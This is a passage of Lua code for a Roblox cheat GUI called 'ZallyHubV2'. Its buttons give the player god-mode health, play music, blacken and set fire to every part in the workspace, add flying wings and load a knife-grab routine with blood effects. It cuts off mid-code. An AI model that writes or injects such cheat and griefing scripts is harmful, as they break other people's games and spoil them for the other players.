0) * CFrame.Angles(math.rad(-10+1*math.cos(sine/14)), 0, math.rad(0)), 0.2) lleg.Weld.C0 = Lerp(lleg.Weld.C0, CFrame.new(-1, -1, -2) * CFrame.Angles(math.rad(-10-1*math.cos(sine/14)), 0, 0), 0.2) rleg.Weld.C0 = Lerp(rleg.Weld.C0, CFrame.new(1, -3, .6) * CFrame.Angles(math.rad(-50-1*math.cos(sine/14)), 0, 0), 0.2) cor.Weld.C0 = Lerp(cor.Weld.C0, CFrame.new(0, -1.85, -.9) * CFrame.Angles(math.rad(-90), math.rad(-90), math.rad(0)), 1) end elseif animpose == "Walking" then if stanceToggle == "Normal" then change = 1 rarm.Weld.C0 = Lerp(rarm.Weld.C0, CFrame.new(3, .9+.1*math.cos(sine/7), 0) * CFrame.Angles(math.rad(90+2*math.cos(sine/7)), math.rad(0), math.rad(20)), 0.04) larm.Weld.C0 = Lerp(larm.Weld.C0, CFrame.new(-3, .9+.1*math.cos(sine/7), -math.sin(sine/14)/2)*CFrame.Angles(math.sin(sine/14)/4, math.rad(1) + -math.sin(sine/14)/2, math.rad(-30)), 0.04) hed.Weld.C0 = Lerp(hed.Weld.C0, CFrame.new(0,3,0)*CFrame.Angles(math.rad(-8+2*math.cos(sine/7)), math.rad(0), math.rad(0)),0.03) torso.Weld.C0 = Lerp(torso.Weld.C0, CFrame.new(0, -1.2+0.1*math.cos(sine/7), 0) * CFrame.Angles(math.rad(-4+2*math.cos(sine/7)), 0, math.rad(0)), 0.04) lleg.Weld.C0 = Lerp(lleg.Weld.C0, CFrame.new(-1, -3-0.3*math.cos(sine/14)/2, -.05 + math.sin(sine/14)/2) * CFrame.Angles(math.rad(-18) + -math.sin(sine/14)/2.3, 0, 0), 0.04) rleg.Weld.C0 = Lerp(rleg.Weld.C0, CFrame.new(1, -3+0.3*math.cos(sine/14)/2, -.05 + -math.sin(sine/14)/2) * CFrame.Angles(math.rad(-18) + math.sin(sine/14)/2.3, 0, 0), .04) cor.Weld.C0 = Lerp(cor.Weld.C0, CFrame.new(0, -1, -1.1) * CFrame.Angles(math.rad(-90), math.rad(-110), math.rad(-70)), 0.04) end elseif animpose == "Running" then change = 1 rarm.Weld.C0 = Lerp(rarm.Weld.C0, CFrame.new(3, 0.9, .5) * CFrame.Angles(math.rad(-10-20*math.cos(sine/4)/2), math.rad(-40+10*math.cos(sine/4)/2), math.rad(50-10*math.cos(sine/4)/2)), 0.2) larm.Weld.C0 = Lerp(larm.Weld.C0, CFrame.new(-3, 0.9, .5)*CFrame.Angles(math.rad(10+20*math.cos(sine/4)/2), math.rad(40-10*math.cos(sine/4)/2), math.rad(-50+10*math.cos(sine/4)/2)), 0.2) hed.Weld.C0 = Lerp(hed.Weld.C0, CFrame.new(0,3,0)*CFrame.Angles(math.rad(6+6*math.cos(sine/4)/1.8), math.rad(0), math.rad(0)),0.2) torso.Weld.C0 = Lerp(torso.Weld.C0, CFrame.new(0, -1.2+0.2*math.cos(sine/4)/2, 0) * CFrame.Angles(math.rad(-14+10*math.cos(sine/4)/2), 0, math.rad(0)), 0.2) lleg.Weld.C0 = Lerp(lleg.Weld.C0, CFrame.new(-1, -3-0.44*math.cos(sine/8)/2.4, -.15 + math.sin(sine/8)/1.5) * CFrame.Angles(math.rad(-20) + -math.sin(sine/8)/1.7, 0, 0), .4) rleg.Weld.C0 = Lerp(rleg.Weld.C0, CFrame.new(1, -3+0.44*math.cos(sine/8)/2.4, -.15 + -math.sin(sine/8)/1.5) * CFrame.Angles(math.rad(-20) + math.sin(sine/8)/1.7, 0, 0), .4) cor.Weld.C0 = Lerp(cor.Weld.C0, CFrame.new(0, -1.85, -.9) * CFrame.Angles(math.rad(-90), math.rad(-90), math.rad(0)), 1) end end if animpose == "Walking" then if footsteps == false then x:Play() footsteps = true end x.Pitch = 1.1 elseif animpose == "Idle" then x:Stop() footsteps = false elseif animpose == "Running" then x.Pitch = 1.2 if footsteps == false then x:Play() footsteps = true end end end) p.Chatted:connect(function(msg) if msg == TitanBet.."loadsong" then z = Instance.new("Sound", char) z.SoundId = "rbxassetid://306826153"--242463565 z.Name = "Music" z.Looped = true z.Volume = 1 z.Pitch = 1 wait() if p.Name == "PointCoded" or "nguyenjimbo" then z:Play() else print("Not Point Coded = no music") end end end) p.Chatted:connect(function(msg) if msg == TitanBet.."stopsong" then char.Music:remove() end end) while true do local pe = char:GetChildren() pe.Locked = true p.PlayerGui.Mana.Mana.Text = "Mana: "..char.Mana.Value if char.Mana.Value>4999 then char.Mana.Value = 4999 end char.Mana.Value = char.Mana.Value + 1 local pe = char:GetChildren() hum.MaxHealth = 50000 hum.Health = 50000 pe.Locked = true wait(0.000000000000000000000000001) end end) -- cmd4 cmd4.Name = "666v2" cmd4.Parent = cmds cmd4.Active = true cmd4.BackgroundColor3 = Color3.new(0, 100, 255) cmd4.BorderSizePixel = 1 cmd4.BorderColor3 = Color3.new(0, 0, 0) cmd4.ZIndex = 7 cmd4.Size = UDim2.new(0, 200, 0, 100) cmd4.Position = UDim2.new(0, 20, 0, 300) cmd4.TextColor3 = Color3.new(255, 255, 255) cmd4.Text = "666" cmd4.FontSize = "Size32" -- 666 cmd4.MouseButton1Click:connect(function() local rekt = Instance.new('ColorCorrectionEffect', game.Lighting) rekt.TintColor = Color3.new(155, 1, 0) rekt.Brightness = 0.2 rekt.Contrast = 1 rekt.Saturation = 1 local topkek = Instance.new('BlurEffect', game.Lighting) topkek.Size = 3 local bloom = Instance.new('BloomEffect', game.Lighting) bloom.Intensity = 0.4 bloom.Size = 56 bloom.Threshold = 1 for i,v in next,workspace:children''do if(v:IsA'BasePart')then me=v; bbg=Instance.new('BillboardGui',me); bbg.Name='stuf'; bbg.Adornee=me; bbg.Size=UDim2.new(2.5,0,2.5,0) tlb=Instance.new'TextLabel'; tlb.Text='666 666 666 666 666 666'; tlb.Font='SourceSansBold'; tlb.FontSize='Size48'; tlb.TextColor3=Color3.new(1,0,0); tlb.Size=UDim2.new(1.25,0,1.25,0); tlb.Position=UDim2.new(-0.125,-22,-1.1,0); tlb.BackgroundTransparency=1; tlb.Parent=bbg; end;end; s=Instance.new'Sound'; s.Parent=workspace; s.SoundId='rbxassetid://152840862'; s.Pitch=1; s.Volume=1; s.Looped=true; s:play(); --end;end)(); function xds(dd) for i,v in next,dd:children''do if(v:IsA'BasePart')then v.BrickColor=BrickColor.new'Really black'; v.TopSurface='Smooth'; v.BottomSurface='Smooth'; a=Instance.new('PointLight',v); a.Color=Color3.new(1,0,0); a.Range=15; a.Brightness=5; f=Instance.new('Fire',v); f.Size=19; f.Heat=22; end; game.Lighting.TimeOfDay=0; game.Lighting.Brightness=0; game.Lighting.ShadowColor=Color3.new(0,0,0); game.Lighting.Ambient=Color3.new(1,0,0); game.Lighting.FogEnd=200; game.Lighting.FogColor=Color3.new(0,0,0); local dec = 'http://www.roblox.com/asset/?id=19399245'; local fac = {'Front', 'Back', 'Left', 'Right', 'Top', 'Bottom'} if #(v:GetChildren())>0 then xds(v) end end end xds(game.Workspace) end) -- cmd5 cmd5.Name = "wings" cmd5.Parent = cmds cmd5.Active = true cmd5.BackgroundColor3 = Color3.new(0, 100, 255) cmd5.BorderSizePixel = 1 cmd5.BorderColor3 = Color3.new(0, 0, 0) cmd5.ZIndex = 6 cmd5.Size = UDim2.new(0, 200, 0, 100) cmd5.Position = UDim2.new(0, 20, 0, 400) cmd5.TextColor3 = Color3.new(255, 255, 255) cmd5.Text = "Wings" cmd5.FontSize = "Size32" -- wings cmd5.MouseButton1Click:connect(function() function weld(p0,p1,c0,c1,par) local w = Instance.new("Weld",p0 or par) w.Part0 = p0 w.Part1 = p1 w.C0 = c0 or CFrame.new() w.C1 = c1 or CFrame.new() return w end local motors = {} function motor(p0,p1,c0,c1,des,vel,par) local w = Instance.new("Motor6D",p0 or par) w.Part0 = p0 w.Part1 = p1 w.C0 = c0 or CFrame.new() w.C1 = c1 or CFrame.new() w.MaxVelocity = tonumber(vel) or .05 w.DesiredAngle = tonumber(des) or 0 return w end function lerp(a,b,c) return a+(b-a)*c end function clerp(c1,c2,al) local com1 = {c1.X,c1.Y,c1.Z,c1:toEulerAnglesXYZ()} local com2 = {c2.X,c2.Y,c2.Z,c2:toEulerAnglesXYZ()} for i,v in pairs(com1) do com1[i] = lerp(v,com2[i],al) end return CFrame.new(com1[1],com1[2],com1[3]) * CFrame.Angles(select(4,unpack(com1))) end function ccomplerp(c1,c2,al) local com1 = {c1:components()} local com2 = {c2:components()} for i,v in pairs(com1) do com1[i] = lerp(v,com2[i],al) end return CFrame.new(unpack(com1)) end function tickwave(time,length,offset) return (math.abs((tick()+(offset or 0))%time-time/2)*2-time/2)/time/2*length end function invcol(c) c = c.Color return BrickColor.new(Color3.new(1-c.b,1-c.g,1-c.r)) end local oc = oc or function(...) return ... end local plr = game.Players.LocalPlayer local char = plr.Character local tor = char.Torso local hum = char.Humanoid hum.PlatformStand = false pcall(function() char.Wings:Destroy() end) pcall(function() char.Angel:Destroy() -- hat end) local mod = Instance.new("Model",char) mod.Name = "Wings" local special = { --rigletto = {"Really black","Institutional white",0,0,false,Color3.new(1,1,.95),Color3.new(1,1,.6)}, --rigletto = {"New Yeller",nil,0.4,0.7,true,Color3.new(1,1,.95),Color3.new(1,1,.6)}, --rigletto = {"Cyan","Toothpaste",0,0,false,Color3.new(1,0,0),Color3.new(0,0,0)}, --rigletto = {"Royal purple",nil,.4,.4,true}, --rigletto = {"Black",nil,0,0,false}, --rigletto = {"White",nil,0,0,false}, --rigletto = {"Black","Bright red",.5,0,false,Color3.new(1,0,0),Color3.new(0,0,0)}, --rigletto = {"Cyan","Toothpaste",0,0,false,Color3.new(1,0,0),Color3.new(0,0,0)}, rigletto = {"Reddish brown",1030,0,0,false}, --rigletto = {"Really black","Really black",.2,0,true,Color3.new(0,0,0),Color3.new(0,0,0)}, --rigletto = {"Brown","Nougat",0,0,false,Color3.new(1,0,0),Color3.new(0,0,0)}, --rigletto = {"Bright red","Really black",0.5,0,false,Color3.new(1,0,0),Color3.new(0,0,0)}, --rigletto = {"Bright red","Bright orange",0,0,true,Color3.new(1,150/225,0)}, --rigletto = {"Dark grey","Dark grey",0,0.6,false,Color3.new(1,150/225,0)}, --rigletto = {"Light stone grey","White",0.5,0,false,Color3.new(1,150/225,0)}, } local topcolor = BrickColor.new("White")--invcol(char.Torso.BrickColor) local feacolor = BrickColor.new("White")--char.Torso.BrickColor local part = Instance.new("Part") part.FormFactor = "Custom" part.Size = Vector3.new(.2,.2,.2) part.TopSurface,part.BottomSurface = 0,0 part.CanCollide = false part.BrickColor = topcolor --part.Transparency = .7 --part.Reflectance = .7 local ef = Instance.new("Fire",part2) ef.Size = .15 ef.Color = Color3.new(0,0,1) ef.SecondaryColor = Color3.new() part:BreakJoints() local a = special[plr.Name:lower()] if a then part.BrickColor,part.Transparency,part.Reflectance,ef.Parent,ef.Color,ef.SecondaryColor = BrickColor.new(a[1]),a[3],a[4],a[5] and part or nil,a[6] or ef.Color,a[7] or ef.SecondaryColor end function newpart() local clone = part:Clone() clone.Parent = mod clone:BreakJoints() return clone end local feath = newpart() feath.BrickColor = a and (a[2] and BrickColor.new(a[2]) or feath.BrickColor) or feacolor feath.Transparency = 0 Instance.new("SpecialMesh",feath).MeshType = "Sphere" function newfeather() local clone = feath:Clone() clone.Parent = mod clone:BreakJoints() return clone end ---------- RIGHT WING local r1 = newpart() r1.Size = Vector3.new(.3,1.5,.3)*1.2 local rm1 = motor(tor,r1,CFrame.new(.35,.6,.4) * CFrame.Angles(0,0,math.rad(-60)) * CFrame.Angles(math.rad(30),math.rad(-25),0),CFrame.new(0,-.8,0),.1) local r2 = newpart() r2.Size = Vector3.new(.4,1.8,.4)*1.2 local rm2 = motor(r1,r2,CFrame.new(0,.75,0) * CFrame.Angles(0,0,math.rad(50)) * CFrame.Angles(math.rad(-30),math.rad(15),0),CFrame.new(0,-.9,0),.1) local r3 = newpart() r3.Size = Vector3.new(.3,2.2,.3)*1.2 local rm3 = motor(r2,r3,CFrame.new(.1,.9,0) * CFrame.Angles(0,0,math.rad(-140)) * CFrame.Angles(math.rad(-3),0,0),CFrame.new(0,-1.1,0),.1) local r4 = newpart() r4.Size = Vector3.new(.25,1.2,.25)*1.2 local rm4 = motor(r3,r4,CFrame.new(0,1.1,0) * CFrame.Angles(0,0,math.rad(-10)) * CFrame.Angles(math.rad(-3),0,0),CFrame.new(0,-.6,0),.1) local feather = newfeather() feather.Mesh.Scale = Vector3.new(1,1,1) feather.Size = Vector3.new(.4,3,.3) weld(r4,feather,CFrame.new(-.1,-.3,0),CFrame.new(0,-1.5,0)) feather = newfeather() feather.Mesh.Scale = Vector3.new(1,1,1) feather.Size = Vector3.new(.4,2.3,.3) weld(r4,feather,CFrame.new(.1,-.1,0) * CFrame.Angles(0,math.random()*.1,0),CFrame.new(0,-1.1,0)) feather = newfeather() feather.Mesh.Scale = Vector3.new(1,1,1) feather.Size = Vector3.new(.35,2.2,.25) weld(r4,feather,CFrame.new(.1,-.3,0) * CFrame.Angles(0,math.random()*.1,math.rad(-10)),CFrame.new(0,-1.1,0)) local rf3 = {} for i=0,7 do feather = newfeather() feather.Mesh.Scale = Vector3.new(1,1,1) feather.Size = Vector3.new(.45,2.2,.35) table.insert(rf3,motor(r3,feather,CFrame.new(.05,1-i*.285,0) * CFrame.Angles(0,math.random()*.1,math.rad(-25-i*2)),CFrame.new(0,-feather.Size.Y/2,0))) end local rf2 = {} for i=0,6 do feather = newfeather() feather.Mesh.Scale = Vector3.new(1,1,1) feather.Size = Vector3.new(.45,2.2-i*.08,.3) table.insert(rf2,motor(r2,feather,CFrame.new(.05,.75-i*.26,0) * CFrame.Angles(0,math.random()*.1,math.rad(-75-i*4)),CFrame.new(0,-feather.Size.Y/2,0))) end local rf1 = {} for i=0,6 do feather = newfeather() feather.Mesh.Scale = Vector3.new(1,1,1) feather.Size = Vector3.new(.37,1.65-i*.06,.25) table.insert(rf1,motor(r1,feather,CFrame.new(.05,.63-i*.21,0) * CFrame.Angles(0,math.random()*.05,math.rad(-75)),CFrame.new(0,-feather.Size.Y/2,0))) end ---------- LEFT WING local l1 = newpart() l1.Size = Vector3.new(.3,1.5,.3)*1.2 local lm1 = motor(tor,l1,CFrame.new(-.35,.6,.4) * CFrame.Angles(0,0,math.rad(60)) * CFrame.Angles(math.rad(30),math.rad(25),0) * CFrame.Angles(0,-math.pi,0),CFrame.new(0,-.8,0) ,.1) local l2 = newpart() l2.Size = Vector3.new(.4,1.8,.4)*1.2 local lm2 = motor(l1,l2,CFrame.new(0,.75,0) * CFrame.Angles(0,0,math.rad(50)) * CFrame.Angles(math.rad(30),math.rad(-15),0),CFrame.new(0,-.9,0),.1) local l3 = newpart() l3.Size = Vector3.new(.3,2.2,.3)*1.2 local lm3 = motor(l2,l3,CFrame.new(.1,.9,0) * CFrame.Angles(0,0,math.rad(-140)) * CFrame.Angles(math.rad(3),0,0),CFrame.new(0,-1.1,0),.1) local l4 = newpart() l4.Size = Vector3.new(.25,1.2,.25)*1.2 local lm4 = motor(l3,l4,CFrame.new(0,1.1,0) * CFrame.Angles(0,0,math.rad(-10)) * CFrame.Angles(math.rad(3),0,0),CFrame.new(0,-.6,0),.1) local feather = newfeather() feather.Mesh.Scale = Vector3.new(1,1,1) feather.Size = Vector3.new(.4,3,.3) weld(l4,feather,CFrame.new(-.1,-.3,0),CFrame.new(0,-1.5,0)) feather = newfeather() feather.Mesh.Scale = Vector3.new(1,1,1) feather.Size = Vector3.new(.4,2.3,.3) weld(l4,feather,CFrame.new(.1,-.1,0) * CFrame.Angles(0,math.random()*.1,0),CFrame.new(0,-1.1,0)) feather = newfeather() feather.Mesh.Scale = Vector3.new(1,1,1) feather.Size = Vector3.new(.35,2.2,.25) weld(l4,feather,CFrame.new(.1,-.3,0) * CFrame.Angles(0,math.random()*.1,math.rad(-10)),CFrame.new(0,-1.1,0)) local lf3 = {} for i=0,7 do feather = newfeather() feather.Mesh.Scale = Vector3.new(1,1,1) feather.Size = Vector3.new(.45,2.2,.35) table.insert(lf3,motor(l3,feather,CFrame.new(.05,1-i*.285,0) * CFrame.Angles(0,math.random()*.1,math.rad(-25-i*2)),CFrame.new(0,-feather.Size.Y/2,0))) end local lf2 = {} for i=0,6 do feather = newfeather() feather.Mesh.Scale = Vector3.new(1,1,1) feather.Size = Vector3.new(.45,2.2-i*.08,.3) table.insert(lf2,motor(l2,feather,CFrame.new(.05,.75-i*.26,0) * CFrame.Angles(0,math.random()*.1,math.rad(-75-i*4)),CFrame.new(0,-feather.Size.Y/2,0))) end local lf1 = {} for i=0,6 do feather = newfeather() feather.Mesh.Scale = Vector3.new(1,1,1) feather.Size = Vector3.new(.37,1.65-i*.06,.25) table.insert(lf1,motor(l1,feather,CFrame.new(.05,.63-i*.21,0) * CFrame.Angles(0,math.random()*.05,math.rad(-75)),CFrame.new(0,-feather.Size.Y/2,0))) end local rwing = {rm1,rm2,rm3,rm4} local lwing = {lm1,lm2,lm3,lm4} local oc0 = {} for i,v in pairs(rwing) do oc0[v] = v.C0 end for i,v in pairs(lwing) do oc0[v] = v.C0 end function gotResized() if lastsize then if tor.Size == lastsize then return end -- This shouldn't happen? local scaleVec = tor.Size/lastsize for i,v in pairs(oc0) do oc0[i] = v-v.p+scaleVec*v.p end lastsize = tor.Size end lastsize = tor.Size end tor.Changed:connect(function(p) if p == "Size" then gotResized() end end) gotResized() local idle = {0,0.5,-.2,0; .05,.05,.1,.05; -.6,-1.5,.1,0;}--0,.3,0,0 local outlow = {-.7,-.2,1.8,0; .3,.05,.1,.05; .2,0,0,0} local outhigh = {.5,-.2,1.8,0; .3,.05,.1,.05; .2,0,0,0} local veryhigh = {.9,-.3,1.9,0; .3,.05,.1,.05; .2,0,0,0} local flap1 = {-.3,.3,1.1,-.2; .3,.05,.1,.05; .2,-.6,0,0} local divebomb = {0,.2,.4,-.7; .3,.05,.1,.05; 0,-.5,-.6,0} function setwings(tab,time) time = time or 10 for i=1,4 do rwing[i].DesiredAngle = tab[i] lwing[i].DesiredAngle = tab[i] rwing[i].MaxVelocity = math.abs(tab[i]-rwing[i].CurrentAngle)/time lwing[i].MaxVelocity = math.abs(tab[i]-lwing[i].CurrentAngle)/time local rcf = oc0[rwing[i]] * (tab[12+i] or CFrame.new()) local lcf = oc0[lwing[i]] * (tab[12+i] or CFrame.new()) end for i,v in pairs(rf1) do v.DesiredAngle = tab[9] v.MaxVelocity = math.abs(v.DesiredAngle-v.CurrentAngle)/time end for i,v in pairs(lf1) do v.DesiredAngle = tab[9] v.MaxVelocity = math.abs(v.DesiredAngle-v.CurrentAngle)/time end for i,v in pairs(rf2) do v.DesiredAngle = tab[10] v.MaxVelocity = math.abs(v.DesiredAngle-v.CurrentAngle)/time end for i,v in pairs(lf2) do v.DesiredAngle = tab[10] v.MaxVelocity = math.abs(v.DesiredAngle-v.CurrentAngle)/time end for i,v in pairs(rf3) do v.DesiredAngle = tab[11] v.MaxVelocity = math.abs(v.DesiredAngle-v.CurrentAngle)/time end for i,v in pairs(lf3) do v.DesiredAngle = tab[11] v.MaxVelocity = math.abs(v.DesiredAngle-v.CurrentAngle)/time end end setwings(outhigh,1) flying = false moving = false for i,v in pairs(tor:GetChildren()) do if v.ClassName:lower():match("body") then v:Destroy() end end local ctor = tor:Clone() ctor:ClearAllChildren() ctor.Name = "cTorso" ctor.Transparency = 1 ctor.CanCollide = false ctor.FormFactor = "Custom" ctor.Size = Vector3.new(.2,.2,.2) ctor.Parent = mod weld(tor,ctor) local bg = Instance.new("BodyGyro",ctor) bg.maxTorque = Vector3.new() bg.P = 15000 bg.D = 1000 local bv = Instance.new("BodyVelocity",ctor) bv.maxForce = Vector3.new() bv.P = 15000 vel = Vector3.new() cf = CFrame.new() flspd = 0 keysdown = {} keypressed = {} ktime = {} descendtimer = 0 jumptime = tick() hum.Jumping:connect(function() jumptime = tick() end) cam = workspace.CurrentCamera kd = plr:GetMouse().KeyDown:connect(oc(function(key) keysdown[key] = true keypressed[key] = true if key == "2" then descendtimer = tick() elseif key == " " and not hum.Jump then jumptime = tick() elseif (key == "a" or key == "d") and ktime[key] and tick()-ktime[key] < .3 and math.abs(reqrotx) < .1 then reqrotx = key == "a" and math.pi*2 or -math.pi*2 print(reqrotx) end ktime[key] = tick() end)) ku = plr:GetMouse().KeyUp:connect(function(key) keysdown[key] = false if key == " " then descendtimer = tick() end end) function mid(a,b,c) return math.max(a,math.min(b,c or -a)) end function bn(a) return a and 1 or 0 end function gm(tar) local m = 0 for i,v in pairs(tar:GetChildren()) do if v:IsA("BasePart") then m = m + v:GetMass() end m = m + gm(v) end return m end reqrotx = 0 local con con = game:GetService("RunService").Stepped:connect(oc(function() if not mod:IsDescendantOf(workspace) then pcall(function() kd:disconnect() end) pcall(function() ku:disconnect() end) bg:Destroy() bv:Destroy() con:disconnect() script:Destroy() return end local obvel = tor.CFrame:vectorToObjectSpace(tor.Velocity) local sspd, uspd,fspd = obvel.X,obvel.Y,obvel.Z if flying then local lfldir = fldir fldir = cam.CoordinateFrame:vectorToWorldSpace(Vector3.new(bn(keysdown.d)-bn(keysdown.a),0,bn(keysdown.s)-bn(keysdown.w))).unit local lmoving = moving moving = fldir.magnitude > .1 if lmoving and not moving then idledir = lfldir*Vector3.new(1,0,1) descendtimer = tick() end local dbomb = fldir.Y < -.6 or (moving and keysdown["0"]) if moving and keysdown["0"] and lmoving then fldir = (Vector3.new(lfldir.X,math.min(fldir.Y,lfldir.Y+.01)-.1,lfldir.Z)+(fldir*Vector3.new(1,0,1))*.05).unit end local down = tor.CFrame:vectorToWorldSpace(Vector3.new(0,-1,0)) local descending = (not moving and keysdown["2"] and not keysdown[" "]) cf = ccomplerp(cf,CFrame.new(tor.Position,tor.Position+(not moving and idledir or fldir)),keysdown["0"] and .02 or .07) local gdown = not dbomb and cf.lookVector.Y < -.2 and tor.Velocity.unit.Y < .05 hum.PlatformStand = true bg.maxTorque = Vector3.new(1,1,1)*9e5 local rotvel = CFrame.new(Vector3.new(),tor.Velocity):toObjectSpace(CFrame.new(Vector3.new(),fldir)).lookVector bg.cframe = cf * CFrame.Angles(not moving and -.1 or -math.pi/2+.2,moving and mid(-2.5,rotvel.X/1.5) + reqrotx or 0,0) reqrotx = reqrotx - reqrotx/10 bv.maxForce = Vector3.new(1,1,1)*9e4*.5 local anioff =(bn(keysdown[" "])-bn(keysdown["2"]))/2 local ani = tickwave(1.5-anioff,1) bv.velocity = bv.velocity:Lerp(Vector3.new(0,bn(not moving)*-ani*15+(descending and math.min(20,tick()-descendtimer)*-8 or bn(keysdown[" "])-bn(keysdown["2"]))*15,0)+vel,.6) vel = moving and cf.lookVector*flspd or Vector3.new() flspd = math.min(140,lerp(flspd,moving and (fldir.Y<0 and flspd-fldir.Y*2 or math.max(60,flspd-fldir.Y)) or 60,.4)) setwings(moving and (gdown and outlow or dbomb and divebomb) or (descending and veryhigh or flap1),15) for i=1,4 do --CFrame.Angles(-.5+bn(i==3)*2.4+bn(i==4)*.5,.1+bn(i==2)*.5-bn(i==3)*1.1,bn(i==3)*.1) rwing[i].C0 = clerp(rwing[i].C0,oc0[rwing[i]] * (gdown and CFrame.new() or dbomb and CFrame.Angles(-.5+bn(i==3)*.4+bn(i==4)*.5,.1+bn(i==2)*.5-bn(i==3)*1.1,bn(i==3)*.1) or descending and CFrame.Angles(.3,0,0) or CFrame.Angles((i*.1+1.5)*ani,ani*-.5,1*ani)),descending and .8 or .2) lwing[i].C0 = clerp(lwing[i].C0,oc0[lwing[i]] * (gdown and CFrame.new() or dbomb and CFrame.Angles(-(-.5+bn(i==3)*.4+bn(i==4)*.5),-(.1+bn(i==2)*.5-bn(i==3)*1.1),bn(i==3)*.1) or descending and CFrame.Angles(-.3,0,0) or CFrame.Angles(-(i*.1+1.5)*ani,ani*.5,1*ani)),descending and .8 or .2) end local hit,ray = workspace:FindPartOnRayWithIgnoreList(Ray.new(tor.Position,Vector3.new(0,-3.5+math.min(0,bv.velocity.y)/30,0)),{char}) if hit and down.Y < -.85 and tick()-flystart > 1 then flying = false hum.PlatformStand = false tor.Velocity = Vector3.new() end else bg.maxTorque = Vector3.new() bv.maxForce = Vector3.new() local ani = tickwave(walking and .8 or 4.5,1) setwings(idle,10) local x,y,z = fspd/160,uspd/700,sspd/900 for i=1,4 do rwing[i].C0 = clerp(rwing[i].C0,oc0[rwing[i]] * CFrame.Angles(ani*.1 + -mid(-.1,x),0 + -mid(-.1,y) + bn(i==2)*.6,ani*.02 + -mid(-.1,z)),.2) lwing[i].C0 = clerp(lwing[i].C0,oc0[lwing[i]] * CFrame.Angles(ani*-.05 + mid(-.1,x),0 + mid(-.1,y) + -bn(i==2)*.6,ani*.02 + mid(-.1,z)),.2) end if keypressed[" "] and not flying and (tick()-jumptime > .05 and (tick()-jumptime < 3 or hum.Jump)) then vel = Vector3.new(0,50,0) bv.velocity = vel idledir = cam.CoordinateFrame.lookVector*Vector3.new(1,0,1) cf = tor.CFrame * CFrame.Angles(-.01,0,0) tor.CFrame = cf bg.cframe = cf flystart = tick() flying = true end end keypressed = {} end)) -- credits end) credits.Name = "credits" credits.Parent = Main2 credits.Active = true credits.BackgroundColor3 = Color3.new(0, 0, 0) credits.BorderSizePixel = 0 credits.BorderColor3 = Color3.new(0, 0, 0) credits.ZIndex = 10 credits.Size = UDim2.new(0, 200, 0, 100) credits.Position = UDim2.new(0, 20, 0, 200) credits.TextColor3 = Color3.new(255, 255, 255) credits.Text = "By Zalendier#4007" credits.FontSize = "Size14" -- title title.Name = "title" title.Parent = Main2 title.Active = true title.BackgroundColor3 = Color3.new(0, 0, 0) title.BorderSizePixel = 0 title.BorderColor3 = Color3.new(0, 0, 0) title.ZIndex = 10 title.Size = UDim2.new(0, 200, 0, 100) title.Position = UDim2.new(0, 20, 0, 0) title.TextColor3 = Color3.new(255, 255, 255) title.Text = "ZallyHubV2" title.FontSize = "Size24" -- scripts scripts.Name = "scripts" scripts.Parent = Main2 scripts.Active = true scripts.BackgroundColor3 = Color3.new(0, 100, 255) scripts.BorderSizePixel = 0 scripts.BorderColor3 = Color3.new(0, 0, 0) scripts.ZIndex = 10 scripts.Size = UDim2.new(0, 200, 0, 100) scripts.Position = UDim2.new(0, 20, 0, 100) scripts.TextColor3 = Color3.new(255, 255, 255) scripts.Text = "Scripts" scripts.FontSize = "Size24" -- commandscripts scripts.MouseButton1Click:connect(function() cmds.Visible = true end) end) grabknife.Name = "grabknife" grabknife.Parent = script2 grabknife.BackgroundColor3 = Color3.new(0.258824, 0.439216, 0.933333) grabknife.BorderSizePixel = 0 grabknife.Position = UDim2.new(0.715736032, 0, 0.212616861, 0) grabknife.Size = UDim2.new(0, 200, 0, 50) grabknife.Font = Enum.Font.SourceSans grabknife.Text = "GrabKnifeV3" grabknife.TextSize = 40 grabknife.MouseButton1Down:connect(function() wait(0.5) math.randomseed(tick()) local player = game.Players.LocalPlayer local rekt = {} local paralyzed = false local curpoint = nil local curpart = nil local finishnum = 1 local zombiemode = false local zombies = {} local lastgui = nil local mouse = player:GetMouse() function getplr(char) local plr = nil for i,v in pairs(game.Players:GetChildren()) do if v.Character == char then plr = v end end return plr end function bleed(frick) while frick.Parent ~= nil do local reeee = coroutine.wrap(function() local thing = Instance.new('Part',game.Workspace) thing.Size = Vector3.new(0.2,0.2,0.2) thing.CFrame = frick.CFrame thing.Shape = Enum.PartType.Ball thing.CFrame = frick.CFrame thing.Transparency = 1 thing.BrickColor = BrickColor.new('Maroon') thing.Material = Enum.Material.SmoothPlastic thing.Name = "Blood" thing.CanCollide =false local rawrxd = Instance.new('BodyForce',thing) rawrxd.Force = frick.CFrame.upVector*(math.random()*2)+Vector3.new(math.random(-5, 5)/10,1.5,0) local coru = coroutine.wrap(function() wait(0.01) rawrxd:Destroy() end) coru() local ree = Instance.new('ParticleEmitter',thing) ree.Color = ColorSequence.new({ColorSequenceKeypoint.new(0,Color3.fromRGB(100,0,0)),ColorSequenceKeypoint.new(1,Color3.fromRGB(100,0,0))}) ree.Size = NumberSequence.new({NumberSequenceKeypoint.new(0,0.1),NumberSequenceKeypoint.new(1,0.1)}) ree.Texture = 'rbxassetid://867743272' ree.Lifetime = NumberRange.new(0.4) ree.Rate = 50 ree.LockedToPart = true ree.Speed = NumberRange.new(0, 2) thing.Touched:connect(function(tou) if tou.Parent and tou.Parent:IsA('Tool') == false and tou.Parent.Parent:FindFirstChildOfClass('Humanoid') == nil and tou.Parent:FindFirstChildOfClass('Humanoid') == nil and tou.Name ~= "Blood" and tou.Parent.Name ~= "Projectile" and tou.Parent.Name ~= "big ass knife" and tou.Parent ~= player.Character and tou.Parent.ClassName ~= "Accessory" and tou.Parent.Name ~= "bitch ass knife" then local pos = Vector3.new(thing.Position.X,(tou.Position.Y+(tou.Size.Y/2))+0.02,thing.Position.Z) thing:Destroy() if tou.Name == "BloodPuddle" then local reee = tou.CFrame if tou.Transparency > -0.2 then tou.Transparency = tou.Transparency -0.1 end if tou.Size.X < 10 then tou.Size = tou.Size+Vector3.new(0.1,0,0.1) tou.CFrame = reee end else local bloodlol = Instance.new('Part',workspace) bloodlol.Size=Vector3.new(1,0.2,1) bloodlol.Name = "BloodPuddle" bloodlol.Anchored = true bloodlol.CanCollide = false bloodlol.Material = Enum.Material.SmoothPlastic bloodlol.BrickColor = BrickColor.new('Maroon') local cyl = Instance.new('CylinderMesh',bloodlol) cyl.Scale = Vector3.new(1,0.1,1) bloodlol.CFrame = CFrame.new(pos) local coru=coroutine.wrap(function() while bloodlol.Parent ~= nil do if bloodlol.Transparency < 1 then bloodlol.Transparency = bloodlol.Transparency+0.05 else bloodlol:Destroy() end wait(0.1) end end) coru() end 